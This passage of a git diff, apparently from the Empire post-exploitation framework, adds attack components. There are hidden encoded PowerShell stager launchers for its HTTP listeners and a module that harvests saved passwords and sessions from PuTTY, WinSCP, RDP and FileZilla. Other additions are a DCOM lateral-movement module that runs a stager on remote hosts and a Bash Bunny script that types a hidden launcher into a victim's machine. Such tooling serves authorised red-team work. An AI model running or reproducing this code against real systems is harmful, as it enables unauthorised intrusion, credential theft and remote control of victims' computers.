+ else: + name = listenerOptions['Name']['Value'] + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(3) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + + + def shutdown(self, name=''): + """ + Terminates the server thread stored in the self.threads dictionary, + keyed by the listener name. + """ + + if name and name != '': + print helpers.color("[!] Killing listener '%s'" % (name)) + self.threads[name].kill() + else: + print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])) + self.threads[self.options['Name']['Value']].kill() diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 31d1565..cf72ec5 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -56,6 +56,11 @@ class Listener: 'Required' : True, 'Value' : 80 }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -w 1 -enc ' + }, 'StagingKey' : { 'Description' : 'Staging key for initial agent negotiation.', 'Required' : True, @@ -154,6 +159,7 @@ class Listener: # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] + launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] @@ -251,7 +257,7 @@ class Listener: stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): - return helpers.powershell_launcher(stager) + return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager @@ -353,6 +359,7 @@ class Listener: profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] + launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 96683ab..7fb0ba5 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -57,6 +57,11 @@ class Listener: 'Required' : True, 'Value' : 80 }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -w 1 -enc ' + }, 'StagingKey' : { 'Description' : 'Staging key for initial agent negotiation.', 'Required' : True, @@ -155,6 +160,7 @@ class Listener: # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] + launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] @@ -213,7 +219,7 @@ class Listener: stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): - return helpers.powershell_launcher(stager) + return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py index 7ab921a..8828cf6 100644 --- a/lib/listeners/http_foreign.py +++ b/lib/listeners/http_foreign.py @@ -45,6 +45,11 @@ class Listener: 'Required' : True, 'Value' : 80 }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -w 1 -enc ' + }, 'StagingKey' : { 'Description' : 'Staging key for initial agent negotiation.', 'Required' : True, @@ -130,11 +135,13 @@ class Listener: # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] + launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) - + customHeaders = profile.split('|')[2:] + if language.startswith('po'): # PowerShell @@ -181,6 +188,14 @@ class Listener: # TODO: reimplement stager retries? + #Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(':')[0] + headerValue = header.split(':')[1] + stager += helpers.randomize_capitalization("$wc.Headers.Add(") + stager += "\"%s\",\"%s\");" % (headerKey, headerValue) + # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) @@ -207,7 +222,7 @@ class Listener: stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): - return helpers.powershell_launcher(stager) + return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py index 36f37f7..a17ee8f 100644 --- a/lib/listeners/http_hop.py +++ b/lib/listeners/http_hop.py @@ -42,6 +42,11 @@ class Listener: 'Required' : True, 'Value' : '' }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -w 1 -enc ' + }, 'RedirectStagingKey' : { 'Description' : 'The staging key for the redirect listener, extracted from RedirectListener automatically.', 'Required' : False, @@ -110,6 +115,7 @@ class Listener: # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] + launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] @@ -186,7 +192,7 @@ class Listener: stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): - return helpers.powershell_launcher(stager) + return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager diff --git a/lib/modules/powershell/credentials/sessiongopher.py b/lib/modules/powershell/credentials/sessiongopher.py new file mode 100644 index 0000000..5be7356 --- /dev/null +++ b/lib/modules/powershell/credentials/sessiongopher.py @@ -0,0 +1,136 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Invoke-SessionGopher', + + # List of one or more authors for the module + 'Author': ['@arvanaghi, created at FireEye'], + + # More verbose multi-line description of the module + 'Description': ('Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY, FileZilla, ' + 'RDP, .ppk files, .rdp files, .sdtid files'), + + # True if the module needs to run in the background + 'Background': False, + + # File extension to save the file as + 'OutputExtension': None, + + # True if the module needs admin rights to run + 'NeedsAdmin': False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': True, + + # The language for this module + 'Language': 'powershell', + + # The minimum PowerShell version needed for the module to run + 'MinLanguageVersion': '2', + + # list of any references/other comments + 'Comments': [ + 'Twitter: @arvanaghi | ', + 'https://arvanaghi.com | ', + 'https://github.com/fireeye/SessionGopher', + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Thorough' : { + 'Description' : 'Switch. Searches entire filesystem for .ppk, .rdp, .sdtid files. Not recommended to use with -AllDomain due to time.', + 'Required' : False, + 'Value' : '' + }, + 'u' : { + 'Description' : 'User account (e.g. corp.com\jerry) for when using -Target, -iL, or -AllDomain. If not provided, uses current security context.', + 'Required' : False, + 'Value' : '' + }, + 'p' : { + 'Description' : 'Password for user account (if -u argument provided).', + 'Required' : False, + 'Value' : '' + }, + 'Target' : { + 'Description' : 'Provide a single host to run remotely against. Uses WMI.', + 'Required' : False, + 'Value' : '' + }, + 'o' : { + 'Description' : 'Switch. Drops a folder of all output in .csvs on remote host.', + 'Required' : False, + 'Value' : '' + }, + 'AllDomain' : { + 'Description' : 'Switch. Run against all computers on domain. Uses current security context, unless -u and -p arguments provided. Uses WMI.', + 'Required' : False, + 'Value' : '' + }, + 'iL' : { + 'Description' : 'Provide path to a .txt file on the remote host containing hosts separated by newlines to run remotely against. Uses WMI.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # if you're reading in a large, external script that might be updates, + # use the pattern below + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-SessionGopher.ps1" + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + script += "Invoke-SessionGopher" + + # add any arguments to the end execution of the script + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + return script diff --git a/lib/modules/powershell/lateral_movement/invoke_dcom.py b/lib/modules/powershell/lateral_movement/invoke_dcom.py new file mode 100644 index 0000000..3b99422 --- /dev/null +++ b/lib/modules/powershell/lateral_movement/invoke_dcom.py @@ -0,0 +1,132 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-DCOM', + + 'Author': ['@rvrsh3ll'], + + 'Description': ('Executes a stager on remote hosts using DCOM.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'CredID' : { + 'Description' : 'CredID from the store to use.', + 'Required' : False, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Host[s] to execute the stager on, comma separated.', + 'Required' : True, + 'Value' : '' + }, + 'Method' : { + 'Description' : 'COM method to use.', + 'Required' : True, + 'Value' : 'ShellWindows' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listenerName = self.options['Listener']['Value'] + method = self.options['Method']['Value'] + computerName = self.options['ComputerName']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-DCOM.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + + + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + + stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher + script += "Invoke-DCOM -ComputerName %s -Method %s -Command '%s'" % (computerName, method, stagerCmd) + + + script += "| Out-String | %{$_ + \"`n\"};" + + return script diff --git a/lib/modules/powershell/privesc/ms16-032.py b/lib/modules/powershell/privesc/ms16-032.py index 6ca941d..bc740b2 100644 --- a/lib/modules/powershell/privesc/ms16-032.py +++ b/lib/modules/powershell/privesc/ms16-032.py @@ -34,7 +34,7 @@ class Module: self.options = { 'Agent' : { - 'Description' : 'Agent to grab a screenshot from.', + 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, diff --git a/lib/stagers/windows/bunny.py b/lib/stagers/windows/bunny.py new file mode 100644 index 0000000..740e6db --- /dev/null +++ b/lib/stagers/windows/bunny.py @@ -0,0 +1,117 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'BunnyLauncher', + + 'Author': ['@kisasondi','@harmj0y'], + + 'Description': ('Generates a bunny script that runes a one-liner stage0 launcher for Empire.'), + + 'Comments': [ + 'This stager is modification of the ducky stager by @harmj0y,', + 'Current other language (keyboard layout) support is trough DuckyInstall from https://github.com/hak5/bashbunny-payloads' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'Language' : { + 'Description' : 'Language of the stager to generate.', + 'Required' : True, + 'Value' : 'powershell' + }, + 'Keyboard' : { + 'Description' : 'Use a different layout then EN. Add a Q SET_LANGUAGE stanza for various keymaps, try DE, HR...', + 'Required' : False, + 'Value' : '' + }, + 'Interpreter' : { + 'Description' : 'Interpreter for code (Defaults to powershell, since a lot of places block cmd.exe)', + 'Required' : False, + 'Value' : 'powershell' + }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, + 'OutFile' : { + 'Description' : 'File to output duckyscript to, otherwise displayed on the screen.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + language = self.options['Language']['Value'] + interpreter = self.options['Interpreter']['Value'] + keyboard = self.options['Keyboard']['Value'] + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + else: + enc = launcher.split(" ")[-1] + bunnyCode = "#!/bin/bash\n" + bunnyCode += "LED R G\n" + bunnyCode += "source bunny_helpers.sh\n" + bunnyCode += "ATTACKMODE HID\n" + if keyboard != '': + bunnyCode += "Q SET_LANGUAGE " + keyboard + "\n" + bunnyCode += "Q DELAY 500\n" + bunnyCode += "Q GUI r\n" + bunnyCode += "Q STRING " + interpreter + "\n" + bunnyCode += "Q ENTER\n" + bunnyCode += "Q DELAY 500\n" + bunnyCode += "Q STRING powershell -W Hidden -nop -noni -enc "+enc+"\n" + bunnyCode += "Q ENTER\n" + bunnyCode += "LED R G B 200\n" + return bunnyCode diff --git a/lib/stagers/windows/ducky.py b/lib/stagers/windows/ducky.py index 241eabd..de02d2f 100644 --- a/lib/stagers/windows/ducky.py +++ b/lib/stagers/windows/ducky.py @@ -7,7 +7,7 @@ class Stager: self.info = { 'Name': 'DuckyLauncher', - 'Author': ['@harmj0y'], + 'Author': ['@harmj0y','@kisasondi'], 'Description': ('Generates a ducky script that runes a one-liner stage0 launcher for Empire.'), @@ -30,6 +30,11 @@ class Stager: 'Required' : True, 'Value' : 'powershell' }, + 'Interpreter' : { + 'Description' : 'Which interpreter do you want? (powershell or cmd)', + 'Required' : False, + 'Value' : 'powershell' + }, 'StagerRetries' : { 'Description' : 'Times for the stager to retry connecting.', 'Required' : False, @@ -82,6 +87,7 @@ class Stager: # extract all of our options language = self.options['Language']['Value'] + interpreter = self.options['Interpreter']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] @@ -97,7 +103,7 @@ class Stager: # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) - if launcher == "": + if launcher == "" or interpreter == "": print helpers.color("[!] Error in launcher command generation.") return "" else: @@ -106,7 +112,7 @@ class Stager: duckyCode = "DELAY 3000\n" duckyCode += "GUI r\n" duckyCode += "DELAY 1000\n" - duckyCode += "STRING cmd\n" + duckyCode += "STRING "+ interpreter + "\n" duckyCode += "ENTER\n" duckyCode += "DELAY 2000\n" if obfuscateScript and "launcher" in obfuscateCommand.lower(): diff --git a/setup/bomutils b/setup/bomutils new file mode 160000 index 0000000..3f7dc2d --- /dev/null +++ b/setup/bomutils @@ -0,0 +1 @@ +Subproject commit 3f7dc2dbbc36ca1c957ec629970026f45594a52c diff --git a/setup/install.sh b/setup/install.sh index 300c452..67d0fa7 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -26,6 +26,7 @@ if lsb_release -d | grep -q "Fedora"; then pip install pyOpenSSL pip install pyinstaller pip install zlib_wrapper + pip install netifaces elif lsb_release -d | grep -q "Kali"; then Release=Kali apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev @@ -39,18 +40,7 @@ elif lsb_release -d | grep -q "Kali"; then pip install pyOpenSSL pip install pyinstaller pip install zlib_wrapper - if ! which powershell > /dev/null; then - apt-get install -y libunwind8 - wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - apt-get install -f -y - rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - fi - mkdir -p /usr/local/share/powershell/Modules - cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules + pip install netifaces elif lsb_release -d | grep -q "Ubuntu"; then Release=Ubuntu apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev @@ -65,18 +55,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then pip install pyopenssl pip install pyinstaller pip install zlib_wrapper - if ! which powershell > /dev/null; then - apt-get install -y libunwind8 - wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - apt-get install -f -y - rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - fi - mkdir -p /usr/local/share/powershell/Modules - cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules + pip install netifaces else echo "Unknown distro - Debian/Ubuntu Fallback" apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev @@ -91,18 +70,7 @@ else pip install pyOpenSSL pip install pyinstaller pip install zlib_wrapper - if ! which powershell > /dev/null; then - apt-get install -y libunwind8 - wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - apt-get install -f -y - rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb - rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb - fi - mkdir -p /usr/local/share/powershell/Modules - cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules + pip install netifaces fi tar -xvf ../data/misc/xar-1.5.2.tar.gz (cd xar-1.5.2 && ./configure)